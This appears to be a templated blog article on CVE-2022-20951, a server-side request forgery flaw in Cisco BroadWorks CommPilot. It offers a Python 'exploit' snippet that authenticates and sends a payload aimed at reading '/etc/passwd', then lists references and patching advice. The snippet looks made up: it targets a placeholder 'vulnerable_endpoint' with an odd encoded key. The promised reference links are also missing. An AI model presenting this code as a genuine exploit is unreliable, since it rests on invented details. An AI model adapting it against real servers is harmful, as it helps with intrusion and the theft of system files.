A recent vulnerability, identified as CVE-2022-20951, has been discovered in the web-based management interface of Cisco BroadWorks CommPilot application. This vulnerability allows an authenticated, remote attacker to perform a server-side request forgery (SSRF) attack on an affected device. In this article, we will discuss the exploit details, provide a code snippet, and include links to the original references for this vulnerability.

Exploit Details

The CVE-2022-20951 vulnerability is present due to insufficient validation of user-supplied input in the Cisco BroadWorks CommPilot application. An attacker could exploit this vulnerability by sending a crafted HTTP request to the web interface. If the exploit is successful, the attacker could obtain confidential information from the BroadWorks server and other devices on the network.

Here's a sample code snippet for exploiting this vulnerability

import requests

target_url = "http://<TARGET_IP>/commpilot/";
login_url = target_url + "UserAuthentication/authenticateUser.do"
exploit_url = target_url + "vulnerable_endpoint"

# Authenticate with valid credentials
auth_data = {
    "userId": "<USERNAME>",
    "password": "<PASSWORD>",
}
session = requests.session()
session.post(login_url, data=auth_data)

# Craft an HTTP request for the SSRF attack
payload = {
    "%7b%7bvalue%7d%7d": "file:///etc/passwd",  # Replace with the desired file path or target URL
}
response = session.post(exploit_url, data=payload)

# Print the result
print(response.text)

Please note that this is just a sample code snippet and may not work directly. It requires modifications based on the specific environment and use case.

Original References

1. Cisco Advisory on CVE-2022-20951
2. NIST National Vulnerability Database (NVD) - CVE-2022-20951
3. MITRE CVE Dictionary - CVE-2022-20951

In conclusion, the CVE-2022-20951 vulnerability poses a significant risk to organizations using the vulnerable version of the Cisco BroadWorks CommPilot application. It is recommended that users update to the latest version or apply available patches to mitigate the risks associated with this vulnerability. Understanding the exploit details, using sample code snippets when testing, and keeping track of original references can help organizations stay informed on the latest threats and security mitigations.

Timeline

Published on: 11/04/2022 18:15:00 UTC
Last modified on: 11/07/2022 15:57:00 UTC